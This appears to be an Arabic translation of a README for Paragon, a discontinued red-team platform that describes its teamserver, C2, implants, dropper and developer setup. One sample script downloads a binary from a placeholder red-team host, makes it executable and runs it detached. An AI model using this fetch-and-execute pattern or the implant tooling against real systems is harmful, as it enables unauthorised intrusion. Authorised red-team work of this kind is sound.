
منصة مشاركة الفريق الأحمر تهدف إلى توحيد الأدوات الهجومية خلف واجهة مستخدم بسيطة.
تم إيقاف هذا المشروع، يُرجى الرجوع إلى مشروعنا الجديد Realm project، الذي يبني على العديد من الأفكار التي كانت لدينا عند بناء هذا المستودع.

باراغون هي منصة للمشاركة في فريق الاختراق (Red Team). تهدف إلى توحيد الأدوات الهجومية خلف واجهة مستخدم بسيطة، وتجريد الكثير من العمل الخلفي لتمكين المشغلين من التركيز على كتابة البذور (implants) وقضاء وقت أقل في القلق بشأن قواعد البيانات و CSS. كما يوفر المستودع بعض الأدوات الهجومية المدمجة بالفعل مع باراغون ويمكن استخدامها أثناء المشاركات.
هذا المستودع لا يزال قيد التطوير المكثف وليس جاهزًا للاستخدام الإنتاجي. عندما يعتبر مستقرًا، سيتم إصدار علامة V1.0.0. حتى ذلك الحين، قد تواجه واجهة البرمجة تغييرات مكسرة مع قيامنا بتبسيط تصميمنا باستمرار. يُرجى قراءة وثائق المطور أدناه إذا كنت ترغب في مساعدتنا في الوصول إلى هذا الإنجاز بشكل أسرع.
يمكن إعداد نموذج توضيحي سريع عن طريق استنساخ المستودع وتشغيل docker-compose up. افتح 127.0.0.1:80 في متصفحك للبدء!
الصور المستخدمة متاحة على docker-hub ويمكن تكوينها من ملف docker-compose للنشر الإنتاجي.
تعتمد معظم المكونات في هذا المستودع على لغة برمجة نصية شبيهة بـ Python تتيح تحكمًا قويًا وتخصيصًا لسلوكها. اللغة هي نسخة معدلة من Google's starlark، مع إضافة وظائف عبر المنصات للمشغلين. يتيح هذا أيضًا لأدوات مثل الوكيل (agent) والمُسقط (dropper) (الموضحان أدناه) تنفيذ المهام دون الاعتماد على البرامج النظامية الثنائية (curl, bash, إلخ). يتم تنفيذ جميع العمليات ككود في Go، لذا من البديهي إضافة وظائف إضافية إلى بيئة البرمجة النصية. إليك مثال على سكريبت:
# تنزيل ملف عبر https، تنفيذه، وعدم الإبقاء عليه كعملية تابعة.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# تعيين صلاحيات new_bin إلى 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
يوفر تطبيق ويب بسيط وواجهة GraphQL API للتفاعل مع رسم المعرفة (knowledge graph) لفريق الاختراق، مما يوحد الأدوات خلف مصدر حقيقة مركزي ويجرد العديد من الاهتمامات الخلفية المملة من المشغلين. قم بدمج أدواتك المخصصة مع خادم الفريق (باستخدام GraphQL API أو اشتراكات الأحداث) لتوفير الوقت في العمل الخلفي. يسجل خادم الفريق جميع الأنشطة، لذا مع توحيد جميع أدواتك في مكان واحد، يصبح كتابة تقارير ما بعد المشاركة أسهل بكثير.
الأدوات التالية مضمنة أيضًا في المستودع. يمكن توسيعها بسهولة لتناسب العديد من حالات الاستخدام عبر المنصات.
يوفر باراغون أداة لتجميع الأصول (برامج ثنائية، سكريبتات، إلخ) في برنامج ثنائي واحد عند تنفيذه سيتم تشغيل سكريبت النشر المخصص الذي قد يكتب الأصول إلى نظام الملفات، تشغيل العمليات، تنزيل الملفات، معالجة الأخطاء، والمزيد. إنه متعدد المنصات بالكامل ومجمع بشكل ثابت، مما يوفر نشرًا موثوقًا. إذا كنت ترغب في توسيع وظائفه، يمكنك ببساطة توسيع ملف Go الذي تم إنشاؤه قبل التجميع.
بذرة (implant) تنفذ المهام وتقدم نتائج التنفيذ. تم تكوينه افتراضيًا لتنفيذ المهام باستخدام لغة البرمجة النصية الشبيهة بـ Python الخاصة بباراغون والتواصل مع C2 عبر http(s). هو مكتوب بلغة Go ويمكن تعديله بسرعة لإضافة طرق نقل جديدة (مثل DNS) وخيارات تنفيذ ومنطق تجاوز الفشل والمزيد.
يعمل كوسيط بين الوكيل وخادم الفريق. يتعامل مع استرجاعات الوكيل (agent callbacks) لمجموعة متنوعة من آليات الاتصال ويزوده بمهام جديدة من قائمة انتظار خادم الفريق.
بدلاً من انتظار استرجاع (callback)، قد تتطلب بعض المواقف اتصالًا أماميًا (forward connection) لتنفيذ مهمة بسرعة وعرض مخرجاتها. يحقق المُشغّل ذلك عن طريق الاشتراك في قوائم انتظار المهام وإنشاء اتصال بالجهاز الهدف (على سبيل المثال باستخدام ssh). يتيح هذا عمليات التكامل الشبيهة بالصدفة (shell-like) لاستخدام نفس الواجهة مثل البذور (implants) و C2s. كما يسمح بنشر البذور الأولية من خلال هذه الواجهة.
مراقبة نشاط الشبكة الهدف والخدمات المرئية. رسم مخطط بياني لشبكة المشاركة، وتشغيل الأتمتة عند تغيرات الحالة (مثل توفر ssh).
تعيين متغير البيئة PG_KS_MachineUUID killswitch لخادم الفريق سيعطل عمليات البحث التي تستخدم UUIDs للأجهزة.
لضمان التواصل الواضح حول هذه الأنظمة المعقدة، قمنا بتوضيح بعض المصطلحات الخاصة بالمشروع أدناه والتي سيتم استخدامها في جميع أنحاء وثائق المشروع.
أي برنامج ضار سيتم تشغيله على الأنظمة المخترقة أثناء المشاركة.
العمليات المطلوب تنفيذها على نظام مخترق معين. توفر المهام تعليمات التنفيذ للبذور (implants)، ومع ذلك يمكن أن يكون بناء الجملة / الهيكل محددًا تمامًا لأداة معينة.
بذرة (Implant) تتلقى المهام من خادم الفريق، وتنفذها، وتقدم نتائجها. يتم تضمين تطبيق افتراضي قابل للتوسيع مع هذا المستودع، والذي يتطلب تقديم المهام كسكريبتات مكتوبة باستخدام لغة DSL الشبيهة بـ Python الخاصة بالمشروع.
طلبات من خادم الفريق لتنفيذ مجموعة من العمليات المحددة. عند إنشاء وظيفة، سيتم حفظ التعليمات ولكن لن يتم تنفيذها. يمكن للمستخدم طلب من خادم الفريق تنفيذ وظيفة صفر أو أكثر من المرات عن طريق وضع الوظيفة في قائمة الانتظار وتوفير المعلمات المطلوبة لها. لا يمكن أبدًا تحديث الوظائف، ولكن يمكن إنشاء إصدارات جديدة من الوظائف لتجنب النسخ واللصق المفرط.
حالة استخدام شائعة للوظيفة هي عندما يرغب المستخدم في تنفيذ سكريبت على عدد قليل من الأهداف. يقوم المستخدم بإنشاء وظيفة، والتي توجه خادم الفريق لإنشاء مهام بالمحتوى المقدم، ولكنها تترك الأجهزة المستهدفة كمعلمة. عندما توضع الوظيفة في قائمة الانتظار، يوفر المستخدم قائمة بالأجهزة المستهدفة كمعلمة، وسيقوم خادم الفريق بإنشاء مهمة لكل جهاز.
يخدم ما يلي كمرجع أولي ومختصر لتطوير باراغون. يمكن العثور على المزيد من الوثائق في godocs للحزمة أو من خلال قراءة بعض الكود :) بعد الانتهاء من بعض قرارات التصميم (قبل الوصول إلى v1 بوقت طويل)، سيدخل تجميد الكود حيز التنفيذ حتى يتم تحديث جميع الوثائق وتنظيمها بشكل مناسب.
Remote - Containers المقدم من Microsoft مطلوب للبدء.بعد تثبيت المتطلبات الأساسية المذكورة أعلاه، ستكون قادرًا على البدء في وقت قصير. ببساطة استنسخ المستودع وافتحه في VSCode. سيُطلب منك فتح قاعدة الكود في حاوية تطوير (development container) تم تكوينها بجميع تبعيات المشروع وأدوات المطور التي ستحتاجها. إذا لم يظهر لك هذا الخيار، افتح لوحة الأوامر وقم بتشغيل > Remote-Containers: Open Folder In Container والذي سيبدأ الحاوية لك. إذا كانت هذه هي المرة الأولى التي تقوم فيها بتشغيل الحاوية، فقد يستغرق التنزيل بعض الوقت... لذا احصل على بعض القهوة ^_^
فيما يلي نظرة عامة على هيكل المشروع ومكان وجود كل مكون. إذا أصبح هذا قديمًا، فلا تتردد في تقديم مشكلة للإبلاغ عن ذلك أو يفضل PR لإصلاحه. قاعدة الكود منظمة كمستودع أحادي (monorepository)، مما يتيح لنا الاستفادة من أدوات التطوير المشتركة والتوحيد القياسي، إلخ مع تجنب تعارضات الإصدارات المعقدة.
فيما يلي نظرة عامة على العلاقة بين العقد في رسم المعرفة لفريق الاختراق المُدار بواسطة خادم الفريق.

أولوية النقل. لاستخدام النقل الخاص بك، ببساطة قم بتطبيق واجهة agent.Sender وسجل النقل الخاص بك أثناء التهيئة. يمكن العثور على أمثلة على وسائل النقل الحالية في الدلائل الفرعية لحزمة agent.
يتم تحديد أولوية النقل بناءً على التطبيق. يتم تجميع وسائل النقل عند التهيئة، ثم يتم فرزها حسب الأولوية (الأعلى أولاً) قبل بدء التنفيذ. بشكل افتراضي، يتم استخدام HTTP (TLS) ونقل ملف (File transport) كأمثلة على وسائل النقل.
افتراضيًا، يتوقع الوكيل أن تتبع المهام بناء جملة starlark، ويعرض مكتبة قياسية للاستفادة منها السكريبتات. لتغيير سلوك تنفيذ المهام (على سبيل المثال أوامر bash فقط)، يمكنك تطبيق واجهة agent.Receiver لتنفيذ المهام كما تريد.
يمكن تخصيص بيئة البرمجة النصية لوكيلك، مما يتيح لك تعبئة وظائف جديدة بسهولة لاستفادة السكريبتات منها. راجع خيارات السكريبت لتعلم كيفية توسيع محرك السكريبت الخاص بالوكيل.
فيما يلي مخطط تدفق للتنفيذ العام للبذرة (implant) الخاصة بالوكيل.
تم تصميم الوكيل ليكون قابلاً للتخصيص بسهولة بآليات نقل جديدة، وتعدد الإرسال (multiplexing) للاتصالات بناءً على

| المجلد | حالة الاستخدام |
|---|
| .devcontainer | تكوين بيئة تطوير حاوية VSCode. |
| .github | تكوين Github. |
| .stats | دليل يتم تجاهله بواسطة git (قد يكون لديك أو لا) لتخزين مخرجات تحليل الأداء. |
| ent | تعريفات واجهة برمجة التطبيقات المتعلقة بالرسم البياني (graph) المستخدمة بواسطة خادم الفريق. |
| graphql | مخطط GraphQL والكود ذو الصلة المولد من ent. |
| cmd | أدوات وخدمات سطر الأوامر القابلة للتنفيذ. |
| dist | دليل يتم تجاهله بواسطة git لتخزين نتائج البناء. |
| docker | ملفات Docker المستخدمة للنشر النموذجي. |
| ent | نماذج الرسوم البيانية والمخططات المستخدمة بواسطة خادم الفريق (انظر أداة Facebook's entgo لمزيد من المعلومات). |
| pkg | مكتبات عامة تستخدمها أدوات المستودع ولكنها معروضة أيضًا للعالم. |
| pkg/agent | تجريد لإنشاء بذرة (implant) أو وسيلة نقل اتصال بسهولة. |
| pkg/c2 | مساعدات متعلقة بخدمة C2 وتعريفات الرسائل المعيارية. |
| pkg/c2/proto | مواصفات Protobuf لتعريف تنسيق تسلسل معياري لاتصال الوكيل <-> C2. |
| pkg/drop | يوفر طريقة بسيطة تستخدمها حمولات المُسقط (dropper) المترجمة. |
| pkg/middleware | وسيط (middleware) شائع لخدمات HTTP. |
| pkg/script | لغة برمجة نصية شبيهة بـ Python للتكوين الديناميكي والأتمتة والاستغلال عبر المنصات. |
| pkg/script/stdlib | المكتبات القياسية التي تعرض وظائف لبيئات تنفيذ البرمجة النصية. |
| pkg/teamserver | مساعدات متعلقة بخدمة خادم الفريق. |
| www | يحتوي على تطبيق الويب الأساسي المستضاف بواسطة خادم الفريق. تم إنشاؤه بواسطة تطبيق Facebook's create-react-app. |
| www/src/components | مكونات React قابلة لإعادة الاستخدام. |
| www/src/config | تكوين تطبيق الويب والتوجيه. |
| www/src/views | حاويات تستعلم البيانات من خادم الفريق وتؤلف المكونات للعرض. |